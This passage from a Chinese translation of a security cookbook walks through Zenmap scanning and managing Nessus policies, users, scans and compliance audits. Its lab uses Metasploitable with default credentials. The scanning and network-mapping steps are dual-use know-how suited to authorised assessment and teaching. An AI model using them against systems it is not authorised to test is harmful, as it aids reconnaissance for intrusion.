在提供的文本字段中输入要扫描的目标,如下所示:
- 从配置文件下拉列表中选择快速扫描,如下所示:
- 这将使用
-F
选项执行快速扫描,从而在不同选项卡中显示前 100 个端口的结果以及详细分析,如下图所示:
端口/主机选项卡显示了基于扫描中选择的选项的各种开放端口以及运行在其上的服务和版本:
拓扑选项卡显示了检测到的网络拓扑结构。这将帮助攻击者在扫描整个子网时绘制整个网络:
主机详细信息选项卡提供有关 MAC 地址、主机状态、开放和过滤端口数量等信息:
它是如何工作的…
一旦用户选择了扫描类型和 Zenmap 提供的各种其他选项,并继续扫描,Zenmap 界面将调用后端的 Nmap 引擎来执行类似于命令行界面的操作:
Zenmap 还提供了各种其他选项,用于过滤主机、比较结果、搜索扫描结果、保存扫描结果等。
第四章:漏洞扫描
在本章中,我们将介绍以下方法:
-
如何管理 Nessus 策略
-
如何管理 Nessus 设置
-
如何管理 Nessus 用户帐户
-
如何选择 Nessus 策略
-
如何使用 Nessus 执行漏洞扫描
-
如何管理 Nessus 扫描
介绍
在本章中,我们将介绍有关如何管理 Nessus 作为工具及其各个组件的各种方法。这些方法将帮助我们详细了解安装后需要执行的步骤,以便能够配置 Nessus 以执行各种网络扫描。
如何管理 Nessus 策略
我们已经在第二章,了解网络扫描工具中详细了解了 Nessus 策略。简而言之,Nessus 扫描策略包括各种设置和内容,这些内容在执行网络漏洞扫描或合规性审计时使用。任何 Nessus 用户都可以创建此扫描,并且可以供其他用户使用。这些策略可以根据用户的需求进行复制、导入和导出。策略导出的唯一限制是无法导出特定于主机的数据,例如 Nessus 审计文件和凭据详细信息。这些策略可作为资源菜单的一部分,在用户登录 Nessus Web 控制台后的主屏幕上提供:
当用户尝试创建新策略时,Nessus 提供预先存在的扫描模板,可以使用这些模板通过自定义扫描模板的参数来创建新模板:
扫描模板
准备工作
为了执行此活动,您必须满足计算机上的以下先决条件:
-
您必须安装 Nessus
-
您必须能够访问要执行扫描的主机的网络
要安装 Nesus,可以按照第二章,了解网络扫描工具中提供的说明。这将允许您下载兼容版本的 Nessus 并安装所有必需的插件。要检查您的计算机是否已安装 Nessus,请打开搜索栏并搜索Nessus Web 客户端
。一旦找到并单击,它将在默认浏览器窗口中打开:
如果您确定 Nessus 已正确安装,可以直接从浏览器使用https://localhost:8834
URL 打开 Nessus Web 客户端。如果找不到 Nessus Web 客户端,应删除并重新安装 Nessus。有关删除 Nessus 和安装说明,请参阅第二章,了解网络扫描工具。如果找到了 Nessus Web 客户端,但无法在浏览器窗口中打开它,则需要检查 Nessus 服务是否在 Windows 服务实用程序中运行:
此外,您可以根据需要使用服务实用程序启动和停止 Nessus。为了进一步确认安装是否成功,您可以转到安装目录,那里您将能够查看和访问 Nessus 命令行实用程序:
如何做…
执行以下步骤:
-
打开 Nessus Web 客户端。
-
使用在安装期间创建的用户登录 Nessus 客户端:
- 在主屏幕左侧的资源下,单击策略选项,以查看策略屏幕:
- 单击创建新策略,然后单击基本网络扫描:
- 填写名称和描述的详细信息如下:
-
将组权限设置为“可以使用”。
-
导航到“发现”选项卡,并从下拉菜单中选择要执行的端口扫描类型:
- 导航到“评估”选项卡,并从下拉菜单中选择要执行的评估类型:
- 导航到“报告”选项卡,并根据您的要求选择 Nessus 的报告设置:
- 导航到“高级”选项卡,并根据您的要求从下拉菜单中选择扫描设置:
- 如果选择“自定义”,则“高级”选项卡下方将出现一个新的“常规”选项卡,以便您可以进一步自定义扫描设置:
- 保存扫描。这将带您到步骤 2中的策略屏幕,列出您创建的当前策略:
- 您可以在策略名称旁边勾选复选框,并在右上角点击“更多”下拉菜单,选择“复制”、“导出”和“删除”策略:
- 注意上一步,并单击“导出”将策略导出到您的系统上:
- 点击“导出”。一个
.nessus
文件将被下载到您的系统上:
- 要导入此内容,请单击“导入”并上传下载的
.nessus
文件:
- 已上传的策略现在在用户的策略屏幕上可见:
工作原理...
已创建的策略可用于由不同用户执行扫描。这些策略可以导入和导出到另一个 Nessus 环境中,从而避免创建新策略。
如何管理 Nessus 设置
我们已经在第二章中学到了关于 Nessus 设置的很多知识,了解网络扫描工具。简要回顾一下,在 Nessus 设置中,我们可以查看 Nessus 中提供的各种选项。Nessus 设置包括关于、高级、代理服务器、SMTP 服务器、自定义 CA 和密码管理。这些菜单还有进一步的子设置,具有特定的目的。我们将在如何操作…部分看看每个菜单可以配置哪些内容。
准备工作
这一部分与准备工作部分的如何管理 Nessus 策略食谱相同。
如何操作…
执行以下步骤:
-
打开 Nessus Web 客户端。
-
使用在安装过程中创建的用户登录 Nessus 客户端。
-
通过在主屏幕上点击“设置”选项直接显示“关于”菜单下的选项,导航到设置屏幕:
- 通过导航到“软件更新”菜单并选择您喜欢的更新频率和类型来管理软件更新设置:
- 通过导航到“主密码”部分设置主密码,以加密所有 Nessus 存储库、策略、结果和配置:
- 在“设置”下的左侧窗格中导航到“高级”选项卡。这允许用户配置 45 个不同的全局设置,这些设置适用于所有配置的策略和用户,例如日志文件、插件和路径设置:
- 在“设置”下的左侧窗格中导航到“代理服务器”选项卡。在这里,您可以为 Nessus 配置代理服务器以转发请求。当被扫描的主机和 Nessus 之间有代理服务器时使用:
- 在左侧窗格中导航到 SETTINGS 下的 SMTP Server 选项卡。这允许用户为用户需要 Nessus 发送的任何电子邮件通知配置 SMTP 设置,例如扫描完成后:
- 在左侧窗格中导航到 SETTINGS 下的 Custom CA 选项卡。在这里,用户可以上传自定义 CA 签名,该签名将用于避免 SSL 相关发现中的误报:
- 在左侧窗格中导航到 SETTINGS 下的 Password Mgmt 选项卡。在这里,管理员可以配置所有用户和组应遵循的密码策略:
它是如何工作的...
这些是为所有用户配置的全局设置,并允许管理员管理所有用户的 Nessus 控制台。这些设置对于一些功能的功能也至关重要,例如电子邮件通知和代理服务器配置。
如何管理 Nessus 用户帐户
Nessus 是一个多用户环境,其中一个管理员用户可以创建多个用户帐户并配置全局设置,并允许他们配置本地策略设置。为了能够使用用户管理,Nessus 提供了两个菜单选项:My Account 和 Users。 My Account 用于管理您自己的帐户,而 Users 选项卡用于管理员管理/创建/删除用户。在本食谱中,我们将看到这些设置的各个组件以及如何使用这些组件来管理 Nessus 用户。
准备工作
此部分与如何管理 Nessus 策略食谱中的准备工作部分相同。
如何做…
执行以下步骤:
-
打开 Nessus Web 客户端。
-
使用在安装期间创建的用户登录 Nessus 客户端。
-
通过单击主屏幕下的 ACCOUNTS 部分导航到我的帐户屏幕,该部分有两个子选项,帐户设置和 API 密钥:
此页面上的设置可用于更改管理员用户的密码,并设置可由电子邮件通知功能使用的电子邮件 ID,并保存设置。
- 通过单击 Account Settings 旁边的 API Keys 选项卡导航到 API Keys 选项卡。在这里,您可以配置 API 密钥以与 Nessus rest API 进行身份验证。您可以通过单击 Generate 按钮创建新的 API 密钥,如下所示:
确保将这些密钥存储在私人文件夹中,并应用所有与密钥管理相关的安全最佳实践。
- 通过单击主屏幕下的 ACCOUNTS 部分导航到用户屏幕。这将显示当前在 Nessus 中存在的用户:
- 单击右上角的 New User 创建新用户并填写详细信息:
在上面的屏幕截图中,您可以观察到管理员可以将用户角色分配为标准或系统管理员。让我们分配标准角色并检查用户权限之间的差异:
已创建了一个名为show_user_create
的新用户,具有标准权限。您可以清楚地看到用户权限之间的差异,如下图所示。在这里,标准用户没有用户创建和帐户管理权限。
它是如何工作的...
用户管理允许管理员创建新用户并管理其自己的帐户。这允许执行各种扫描的分离,而不是必须使用一个单一帐户执行所有扫描。这是因为 Nessus 还允许同时登录。具有不同用户扫描的一个帐户使用户难以在给定时间点识别其扫描,尽管它们可以移动到不同的文件夹中。
如何选择 Nessus 扫描模板和策略
Nessus 允许用户将其扫描定制到最低程度,甚至允许他们过滤要使用的插件,并禁用不使用的插件。每次扫描都有其独特之处。例如,如果用户想要执行凭证扫描,他/她不能使用主机发现扫描模板来创建新策略。为了执行凭证扫描,用户必须选择基本网络扫描或具有用户输入凭据以对要扫描的机器进行身份验证的高级扫描。因此,在创建策略之前选择适当的扫描模板非常重要,并且在创建不同策略后选择适当的策略也很重要。第二个选项是选择先前创建的模板或导入现有模板,该模板可用于执行扫描。
用户还可以通过点击新扫描并选择现有模板来即时创建策略。这种方法的唯一缺点是您无法保存使用自定义设置的策略或扫描模板。您将不得不创建一个类似的新策略或使用相同的主机重新扫描,这将创建扫描历史。这会在重新访问扫描结果时产生复杂性。在本教程中,我们将研究免费版本中可用的扫描模板和用户可以创建的策略。
准备工作
此部分与“准备工作”部分相同,即“如何管理 Nessus 策略”教程。
如何做…
执行以下步骤:
-
打开 Nessus Web 客户端。
-
使用在安装期间创建的用户登录 Nessus 客户端。
-
在主屏幕的资源部分下导航到策略选项卡。这将列出所有用户创建的预设策略(只配置为与所有人共享):
-
您可以从现有策略中选择,也可以导入策略。
-
如果没有现有的策略满足您的要求,您可以创建一个新策略:
-
- 如果用户选择高级扫描,他们可以配置策略中的每个参数,从而定义策略的性质以及是否应该是网络/网络应用程序/恶意软件扫描。评估菜单使其与其他扫描模板不同:
除了高级扫描之外,没有其他扫描模板可以配置插件。
-
- Badlock 发现模板允许用户检查远程 Windows 主机是否容易受到 Samba Badlock 漏洞的影响:
-
- 基本网络扫描模板用于执行网络级端口扫描,并识别远程主机的服务级漏洞,无论是否具有凭据。
-
凭证补丁审核扫描可用于检查远程主机的补丁级别。
-
Drown 检测模板可用于检测远程主机是否容易受到 Drown 攻击的影响:
-
- 主机发现模板用于从用户提供的大范围或 IP 地址列表中识别活动主机。
-
Intel AMT 安全绕过扫描模板用于识别远程主机是否容易受到 Intel AMT 安全绕过的影响:
-
- 内部 PCI 网络扫描模板用于对远程主机执行 ASV 扫描,以查明主机配置是否符合 PCI 标准。
-
恶意软件扫描模板用于在 Windows 和 Unix 系统上执行恶意软件检测扫描。在提供凭据时效果更好。
-
策略合规性审核模板可用于对上传或现有的 Nessus 审核文件执行基线配置审核。我们将在未来的章节中看到这个教程。
-
Shadow Brokers 扫描模板用于检查远程主机是否容易受到 Shadow Broker 泄露中描述的攻击:
-
- Spectre、Meltdown 和 WannaCry 勒索软件模板用于验证远程主机是否容易受到相应攻击。
-
Web 应用程序模板用于通过提供远程 HTTP 身份验证详细信息,执行托管在远程主机上的 Web 应用程序扫描。
-
选择特定模板后,创建并保存策略,如“如何管理 Nessus 策略”中所示。
-
创建策略后,您可以在“新扫描”任务的策略屏幕下的用户创建的策略部分中选择进行扫描。
- 在创建新的扫描时,您也可以在创建新的扫描时选择模板并填写详细信息。
工作原理…
为了正确执行扫描,选择适当的策略同样重要。这将帮助用户获得正确的结果,并在确认和报告漏洞时节省大量时间。例如,如果用户想要了解开放端口,而他/她进行高级扫描,他/她将获得配置审核、补丁审核和许多不必要的插件的结果。相反,如果用户选择了基本网络扫描,他/她将只会找到开放端口和影响这些主机上运行的服务的漏洞列表。
如何使用 Nessus 执行漏洞扫描
通过遵循前面的步骤,用户应该能够理解策略的创建和选择。一旦确定了策略,用户所需做的就是确定要扫描的主机,选择策略,然后单击“扫描”。对于单个主机的非凭证扫描,Nessus 的一般扫描时间将需要几分钟。随着主机和端口数量的增加,扫描所需的时间也会增加。
在执行 Nessus 扫描之前,通常建议通知利益相关者,因为这样可以在发生攻击时进行调查,也可以通知网络管理员网络带宽利用率是否比平时高。
准备工作
这一部分与“准备工作”部分相同,该部分也需要用户学习本章中的先前内容。
如何操作…
执行以下步骤:
-
打开 Nessus Web 客户端。
-
使用在安装过程中创建的用户登录 Nessus 客户端。
-
单击“创建新的扫描”。
-
选择“基本网络扫描”模板,并填写扫描所需的详细信息,如名称、描述、用于扫描的远程主机,并且对于非凭证扫描,将凭证留空:
您可以逐行输入要扫描的主机,也可以用逗号分隔。您还可以上传要扫描的主机列表:
您还可以通过在“计划”菜单中启用配置选项来安排将来的时间和日期进行扫描:
- 启动扫描:
- 完成扫描后,打开扫描以查看结果:
此外,要查看漏洞的名称,可以单击条或“漏洞”选项卡:
- 选择“基本网络扫描”模板,并填写扫描所需的详细信息,如名称、描述、用于扫描的远程主机,以及用于凭证扫描的凭证:
我们将输入基于密码的 SSH 认证的凭据,因为主机是 Linux 平台。Nessus 还支持基于 Windows 的认证:
- 启动扫描:
- 扫描完成后,打开扫描以查看结果:
此外,要查看漏洞的名称,您可以单击条形图或“漏洞”选项卡:
Nessus 还为 Nessus 应提到的特定补救措施提供单独的选项卡。您还可以查看扫描历史记录:
- 如果扫描未按照您的要求执行,您不需要重新执行整个扫描。相反,您可以使用扫描结果页面右上角的“配置”选项来重新配置扫描设置并启动新的扫描:
- 这将创建使用相同模板执行的扫描的历史记录。您可以单击历史记录中要查看结果的相应扫描,从而获取扫描结果:
同样,您可以通过在新扫描屏幕上选择“用户定义”模板来使用用户定义的策略执行扫描:
您可以通过从下拉菜单中选择相应的格式,将执行的扫描报告导出为 Nessus 中可用的不同格式。我们将在接下来的章节中进一步了解报告。
它是如何工作的…
Nessus 扫描有各种选项,如有凭证、无凭证、合规审计和 ASV 扫描。通过执行这些自动化扫描,简单的网络工程师将能够确定组织的 IT 基础设施的安全状况。
如何管理 Nessus 扫描
执行完毕后,Nessus 扫描可以进一步分隔到文件夹中,以避免不同的扫描被聚集在一起。这也使审计人员可以轻松访问结果。用户可以在 Nessus 上创建/删除/移动/复制扫描。在本食谱中,我们将看看用户可以在已完成的 Nessus 扫描上执行的各种操作。
准备就绪
这一部分与“如何管理 Nessus 策略”食谱中的“准备就绪”部分相同。本食谱还要求用户已经学习并完成了本章中的先前食谱。
如何做…
执行以下步骤:
-
打开 Nessus Web 客户端。
-
使用在安装过程中创建的用户登录 Nessus 客户端。
-
您可以通过在主屏幕右上角使用“新建文件夹”选项来创建新文件夹:
- 新文件夹创建后,用户可以进入文件夹并创建新的扫描,以便结果显示在该文件夹中,不会出现在主屏幕上:
- 您还可以通过选择扫描并单击 Nessus 主屏幕右上角的“移至文件夹”选项,将现有的已完成扫描复制或移动到创建的文件夹中:
这将在文件夹中创建扫描的副本,并将主扫描报告保留在主屏幕上:
- 扫描在“测试文件夹”中创建的副本:
将扫描移至“测试文件夹”将从主屏幕中删除扫描,并将原始扫描移至文件夹中:
现在,您可以删除移至“测试文件夹”的扫描:
- 您还可以通过选择特定的扫描并将其移至垃圾箱来删除扫描:
它是如何工作的…
当默认的 Nessus 文件夹中有大量扫描结果时,对扫描结果进行排序可能会变得乏味。相反,前面的选项将帮助用户对 Nessus 扫描进行分类,并维护文件夹,以便他们可以随时访问结果。
第五章:配置审计
在本章中,我们将涵盖以下内容:
-
介绍合规性扫描
-
选择合规性扫描策略
-
介绍配置审计
-
执行操作系统审计
-
执行数据库审计
-
执行 Web 应用程序扫描
介绍合规性扫描
在本章中,我们将介绍有关 Nessus 的各种用途的重要性,例如进行认证扫描和执行策略合规性审计,如操作系统审计、数据库审计和应用程序审计。这是网络安全白盒评估的重要部分,因为这使内部管理员或审计员能够了解组织中系统的安全状况。
选择合规性扫描策略
整个合规性扫描或审计与典型的脆弱性扫描不同;它完全依赖于插件和 Nessus 审计文件。我们已经介绍了如何在第二章中下载和更新插件的基础知识,了解网络扫描工具。现在我们将进一步揭示有关插件和 Nessus 审计文件的详细信息。在这个示例中,我们将看看如何从 Nessus 预装的一组策略中选择正确的基线策略,以执行 Linux 主机的配置审计。
插件
每个插件都包含用于检查软件、服务和操作系统的特定版本或多个版本的特定脆弱性的语法。一组用于类似操作系统/服务/软件的插件被分组为插件系列,如下所示:
这些插件系列扩展为不同的插件,每个插件执行特定的检查。用户无法手动添加插件;他们只能在 Tenable 提供时下载或更新新的或缺失的插件。每个插件都有一组参数,以帮助用户了解插件。这些参数将在下一节中更详细地讨论。
简介
该部分包括有关脆弱性的简要信息,并充当脆弱性的标题。
描述
本节提供了有关确切组件和版本(如果可用)的脆弱性的更深入了解,以及有关脆弱性的详细信息。这使用户能够了解服务或软件的哪个部分是脆弱的,以及整体的脆弱性。
解决方案
该部分为用户提供了有关补救措施的详细信息,例如需要执行的配置更改或代码更改,或者提供了一个由 Tenable 或其他可信来源的文章的链接,介绍如何减轻脆弱性。
插件信息
该部分包括区分该插件与其他插件的参数。参数包括 ID、版本、类型、发布日期和修改日期。这些参数充当插件的元数据。
风险信息
该部分提供了有关脆弱性严重程度的信息,以及通用漏洞评分系统(CVSS)数据,这是全球公认的评分脆弱性的标准之一。严重性评级从关键到信息;CVSS 评分在 1-10 的范围内。
脆弱性信息
本节提供了有关插件适用的平台的详细信息,使用通用平台枚举(CPE)索引,该索引目前由国家漏洞数据库(NVD)维护。此外,它还提供了有关脆弱性的可利用性的信息,使用可利用性参数,如可用的利用和利用的便利性。它还包括插件的发布日期。
参考信息
本节包括有关由各种已知机构发送给插件的漏洞的参考 ID 的信息,例如 NVD 和 Secunia。这些参考包括 EDB-ID、BID、Secunia 和 CVE-ID。
每个插件、插件系列甚至所有插件都可以根据用户的要求启用和禁用,从而允许用户减少扫描时间并仅使用必要的插件执行扫描。以下截图显示了一个单个插件被禁用:
以下截图显示了一个完整的插件系列被禁用:
以下截图显示了使用屏幕右上角的“禁用所有”按钮禁用了所有插件:
执行合规性扫描所需的插件的非常重要的组件是策略合规性插件。这些插件将与提供的审计文件一起使用,以识别操作系统级、服务级和配置级的漏洞。例如,如果您想对 Windows 执行合规性扫描,可以禁用所有其余插件,仅启用 Windows 合规性检查,如下所示:
合规标准
不同领域有许多必须遵循的标准,组织必须符合这些标准,以执行某些业务操作或确保其信息的安全。例如,大多数支付网关或任何与支付相关的功能都必须根据 PCI 标准进行测试,才能被认为是安全的。
以下是市场上一些标准,相关组织应该符合这些标准:
-
ETSI 网络安全技术委员会(TC CYBER)
-
ISO/IEC 27001 和 27002
-
CISQ
-
DoCRA
-
NERC
-
NIST
-
ISO 15408
-
RFC 2196
-
ANSI/ISA 62443(前身为 ISA-99)
-
ISA 安全合规性研究所(ISCI)符合评估计划
-
ISCI 认证产品
-
ISO 17065 和全球认证
-
化学、石油和天然气行业
-
IEC 62443
-
IEC 62443 认证计划
-
IASME
-
银行监管机构
审计员创建一个清单,以识别与行业标准基线的差距,从而使组织能够填补差距以达到合规并获得认证。Nessus 中的合规模块以类似的方式工作。它用于识别配置差距、数据泄漏和对各种基准的合规性。
Nessus 合规模块提供默认的审计文件,以检查操作系统、网络设备、软件和服务的合规性。Nessus 预装了用于互联网安全中心(CIS)、健康保险可移植性和责任法案(HIPAA)和Tenable 网络安全(TNS)的审计文件。它还允许用户使用Nessus 攻击脚本语言(NASL)编写自定义审计文件。我们将在第七章中看到这方面的定制和优化,了解 Nessus 和 Nmap 的定制和优化。
准备就绪
为了执行这项活动,您必须满足计算机上的以下先决条件:
-
安装 Nessus
-
获取对要执行扫描的主机的网络访问
为了安装 Nesus,您可以按照第二章中提供的说明,了解网络扫描工具。这将允许您下载兼容版本的 Nessus 并安装所有必需的插件。为了检查您的计算机是否已经安装了 Nessus,请打开搜索栏并搜索 Nessus Web 客户端。一旦找到并点击,它将在默认浏览器窗口中打开:
如果您确定 Nessus 已正确安装,可以直接在浏览器中使用https://localhost:8834
URL 打开 Nessus Web 客户端。如果找不到 Nessus Web 客户端,您应该删除并重新安装 Nessus。有关删除 Nessus 和安装说明,请参阅第二章,了解网络扫描工具。如果找到了 Nessus Web 客户端,但无法在浏览器窗口中打开它,您需要检查 Windows 服务实用程序中是否正在运行 Nessus 服务,如下所示:
您还可以使用服务实用程序根据需要启动和停止 Nessus。为了进一步确认安装,您可以导航到安装目录以查看和访问 Nessus 命令行实用程序:
建议始终具有管理员或根级凭据,以便为扫描仪提供对所有系统文件的访问权限。这将允许扫描仪执行更深入的扫描,并生成比非凭证扫描更好的结果。策略合规模块仅在 Nessus 的付费版本(如 Nessus 专业版或 Nessus 管理器)中可用。对于这些版本,您将需要从 Tenable 购买激活密钥,并在设置页面中更新,如下所示:
单击编辑按钮打开窗口并输入从 Tenable 购买的新激活码:
为了测试扫描,我们需要安装一个虚拟机。为了运行虚拟机,我建议使用可以从www.vmware.com/products/workstation-pro/workstation-pro-evaluation.html
下载并安装的 VMware。
对于测试系统,读者可以从information.rapid7.com/download-metasploitable-2017.html
下载 Metasploitable(Rapid 7 提供的一个易受攻击的虚拟机)。按照以下步骤打开 Metasploitable。这提供了各种组件,包括操作系统、数据库和易受攻击的应用程序,这将帮助我们测试当前章节中的方法:
- 解压下载的 Metasploitable 软件包:
- 使用安装的 VMware Workstation 或 VMware Player 打开
.vmx
文件:
- 使用
msfadmin
/msfadmin
作为用户名和密码登录:
如何操作…
执行以下步骤:
-
打开 Nessus Web 客户端。
-
使用安装期间创建的用户信息登录 Nessus Web 客户端。
-
单击策略选项卡并选择创建新策略。
-
选择高级扫描并填写所需的详细信息:
- 导航到合规选项卡并搜索 Nessus 中可用的 Linux 基准:
这显示了不同版本 Ubuntu 的各种基准。但是为了选择适当的配置文件,我们首先必须确定测试机上运行的 Ubuntu 版本。
- 在测试机上使用
lsb_release -a
命令显示正在运行的 Ubuntu 版本:
很明显,远程测试机正在运行 Ubuntu 8.04,因此我们必须选择可用审核文件中的最低版本以获得近似结果。
- 选择 Ubuntu 12.04 的 CIS 基准文件,因为这是可用的最低版本:
如果有特定的服务器/位置需要配置,可以选择更改可用的参数,例如 NTP 服务器地址、Hosts.allow 网络、Shadow Group ID、Syslog 主机地址和 Banner 文件位置。此外,如前面的屏幕截图所示,还必须输入远程 Ubuntu 主机的 SSH 凭据。
它是如何工作的...
选择适当的 Nessus 文件对于执行任何合规性扫描非常重要,因为 NASL 中的底层语法是根据所选择的操作系统定制的每个审计文件。Windows 审计文件在 Linux 上不起作用,反之亦然。为了确保选择了正确的策略,建议始终检查操作系统版本到最后一个小数点,并选择最接近的可用小数点的策略。
引入配置审计
配置审计是一种信息安全程序,您在其中准备一个基线配置,然后将其与当前配置进行比较,以执行差距分析,然后努力关闭这些差距,尽可能接近基线配置。关闭这些差距并实现最大加固状态的过程称为风险或漏洞缓解。
大多数公司和组织依赖强大的配置来确保系统的安全性。一个经过良好加固和修补的系统对于黑客来说是一场噩梦。随着许多公司选择将他们的业务迁移到云上,配置在安全方面的作用比以往任何时候都更加重要。网络设备的简单疏忽,允许默认用户登录,将帮助黑客在几分钟内获得对整个网络的访问权限。
常规应用程序有两个主要组件:前端和后端。前端是最终用户访问应用程序的可见资源。任何对最终用户不可见或不可访问的内容可以被视为后端。这包括 Web 服务器、应用服务器、数据库服务器、路由器、防火墙和入侵预防和检测系统。所有这些设备可能在物理上是不同的,或者由单个服务器集群处理。所有这些都是可以安装在任何物理服务器上的软件;也就是说,Apache Web 服务器可以安装在带有 Windows 操作系统的普通计算机上。一个简单的 XAMPP 软件包安装了一个 Web/应用服务器、一个数据库和一个应用框架。所有这些不同的组件都带有不同的配置——在应用程序架构的任何层级上的简单配置错误都可能危及整个系统的安全性:
配置审计将确保任何组织的网络安全结构得到加强。对基础设施中网络设备和服务的配置更改进行持续监控也有助于确保设备和服务器的安全配置。以下是一些可以采取的步骤,以确保服务器的严格加固:
-
检测配置中的任何动态更改
-
应对新的或更改的配置进行配置审计
-
严格审查设备和服务器日志
-
应对网络的端到端进行审计,从 Web 应用程序到数据库
在配置审计期间可以执行四种主要类型的审计,如下节所述。
数据库审计
作为数据库审计的一部分,建议对数据库配置、模式、用户、权限和结构进行审计。可以使用各自制造商制定的安全配置指南创建基线,并分析配置中存在的差距。以下是一些示例数据库配置检查:
-
认证方法
-
撤销公共角色的不必要权限和角色
-
限制运行时设施的权限
-
确保在
tnsnames.ora
文件的ADDRESS
参数中指定 TCP 作为PROTOCOL
网络设备审计
作为网络配置审计的一部分,建议对防火墙配置、防火墙规则库、路由器配置、Web 应用程序防火墙签名和电子邮件客户端配置进行审计。这些是任何网络中的基本组件,因为防火墙中的一个故障规则可能会将整个网络暴露给互联网。以下是要在网络设备上执行的一些检查:
-
认证方法
-
访问控制列表审查
-
通信安全
操作系统审计
作为操作系统审计的一部分,始终建议审计访问控制、安全设置、错误报告、密码策略和文件夹权限。这些检查将在同一类别中,或多或少,除了实际获取和审计操作系统的方法。以下是要执行的一些操作系统检查:
-
认证方法
-
密码策略
-
分区和数据隔离
-
公共股份
应用程序审计
应用程序审计是配置和合规审计中要执行的主要组件之一。与仅检查配置使用不同,始终建议搜索应用程序中由于构建不良的模块和服务而导致的安全漏洞;例如,允许用户直接将用户输入到 SQL 查询中而没有任何消毒的应用程序模块。这可能允许具有 SQL 基本知识的攻击者构建查询并在没有直接访问数据库的情况下转储整个数据库。每个人都理解端到端安全的重要性非常重要。
以下是 OWASP 列出的前 10 个最严重的 Web 应用程序安全风险:
-
注入
-
破损的认证
-
敏感数据暴露
-
XML 外部实体(XXE)
-
破损的访问控制
-
安全配置错误
-
跨站脚本(XSS)
-
不安全的反序列化
-
使用已知漏洞的组件
-
日志记录和监控不足
执行操作系统审计
在先前的食谱中,我们已经对配置审计的需求以及它们对更安全网络的贡献有了很多了解。在这个食谱中,我们将看看如何使用 Nessus 的合规扫描功能来执行操作系统的配置审计。
准备就绪
这个食谱的准备就绪部分与选择合规扫描策略部分的准备就绪部分相同。这个食谱还要求您已经学习并练习了本章中的先前食谱。
如何做…
执行以下步骤:
-
打开 Nessus Web 客户端。
-
使用在安装期间创建的用户详细信息登录 Nessus Web 客户端。
-
按照选择合规扫描策略食谱中的步骤。
-
导航到凭据选项卡,并选择要输入的 SSH 凭据,因为这是一个 Ubuntu 测试系统。选择基于密码的身份验证,并填写用户名和密码(不安全!)字段,如下所示:
如果在任何 Linux 系统中禁用了远程根登录,您可以以低特权用户登录并提升为根特权,因为 Nessus 提供了一个提升特权的选项。您只需从下拉菜单中选择 Root 并输入 root 密码。Nessus 将以低特权用户身份登录,并在后台运行su
命令以使用root
登录:
- 现在导航到插件选项卡,并仅启用此扫描所需的插件-如本书中早期提到的,这将减少扫描时间并提供更快的结果:
- 然后保存策略,如下所示:
- 导航到扫描,选择新扫描,然后在扫描模板屏幕上选择用户定义,找到您创建的 Linux 合规扫描策略:
选择策略并输入所需的详细信息,如名称、描述和目标列表。要识别测试系统的 IP 地址,请运行ifconfig
命令:
- 输入
192.168.75.137
IP 地址并从下拉菜单中选择启动:
- 扫描完成后,点击打开扫描,如下所示:
打开结果后应该会出现四个选项卡:
-
主机
-
漏洞
-
合规
-
历史
这些选项卡显示在以下截图中:
导航到漏洞列。这将显示远程 Ubuntu 主机中缺失的补丁:
每个由 Nessus 列出的漏洞都包括以下部分,以及额外的插件详细信息,以帮助用户更好地理解漏洞并通过应用推荐的解决方案来减轻风险:
-
描述
-
解决方案
-
另请参阅
-
输出
-
端口
-
主机
导航到合规选项卡,检查使用 CIS 基准审计文件的配置中的差距:
每个合规性包括以下部分和参考信息,以帮助用户了解基线和当前配置之间的差距:
-
描述
-
解决方案
-
另请参阅
-
输出
-
审计文件
-
策略值
-
端口
-
主机
漏洞扫描和合规扫描之间的主要区别是评级。漏洞扫描的结果以严重程度报告:高、中、低和信息风险,基于包括 CVSS 分数和利用难度在内的多个因素。相比之下,在合规扫描中,观察结果报告为失败、警告和通过,通过表示配置是安全的,失败指向配置中的差距。
它是如何工作的...
操作系统的配置审计允许用户了解操作系统配置中存在的差距。如今,简单的 USB 开放访问就可能导致网络被攻陷,鉴于市场上提供的复杂病毒、恶意软件和广告软件。Windows 中的 WannaCry 恶意软件就是一个例子,其中过时的 SMB 版本允许攻击者针对全球数百万台机器。因此,作为例行程序,将操作系统的配置包括在审计中是非常必要的,以便完全安全和合规。
执行数据库审计
在之前的示例中,我们已经看到了对配置审计的需求以及它对更安全网络的贡献。在这个示例中,我们将使用 Nessus 的合规扫描功能来执行 MariaDB 数据库的配置审计。
准备工作
本示例的准备工作部分与选择合规扫描策略部分的准备工作部分相同。此外,我们将使用 Kali Linux 操作系统而不是 Metasploitable 虚拟机作为测试设置。您可以从www.offensive-security.com/kali-linux-vm-vmware-virtualbox-image-download/
下载 Kali Linux ISO。下载并解压缩软件包以找到.vmx
文件,就像选择合规扫描策略部分的准备工作部分一样。
使用以下语法启动 MySQL 服务并为默认用户 root 设置密码,以便我们可以使用相同凭据远程登录到服务执行审计:
-
- 服务 myql start:启动 MySQL 服务
-
- mysql –u root
:使用 root 用户登录 -
- use mysql
:选择 MySQL 表 -
- update user set password=PASSWORD("NEW-ROOT-PASSWORD") where User='root';
:更新 MySQL 表中 root 用户的密码
这应该看起来像下面这样:
如何做…
执行以下步骤:
-
打开 Nessus Web 客户端。
-
使用在安装期间创建的用户详细信息登录 Nessus Web 客户端。
-
单击策略选项卡,选择创建新策略。
-
选择高级扫描并填写以下必要的细节:
- 转到合规标签并搜索 Nessus 中可用的 MySQL 基准:
-
准备就绪部分的屏幕截图显示远程主机运行 MariaDB 10.1.26;因此,我们可以得出兼容版本为 MySQL 5.6,如
mariadb.com/kb/en/library/mariadb-vs-mysql-compatibility/
所示。 -
选择 CIS MySQL 5.6 作为 Linux OS 的策略执行合规扫描:
如果需要,可以更改策略的默认路径。
- 转到凭据选项卡,从下拉菜单中选择数据库,并输入必要的细节:
- 转到插件选项卡,禁用所有不需要的插件进行扫描:
-
保存策略并转到扫描页面创建新扫描。
-
转到用户定义策略部分,查找为数据库合规性扫描创建的策略:
- 选择策略并填写必要的细节,如扫描名称、描述和要扫描的目标:
可以使用ifconfig
命令获取远程主机的 IP 地址。在目标字段中输入192.168.75.136
IP 地址,然后选择启动开始扫描:
工作原理…
数据库配置审计涵盖了从登录到用户授予的模式级访问的广泛检查范围。先前的扫描技术有助于突出 MySQL 服务器中缺少的补丁和未通过的合规性检查。
执行 Web 应用程序扫描
Nessus 还支持 Web 应用程序扫描。这可以用来审计和识别 Web 应用程序中的漏洞。
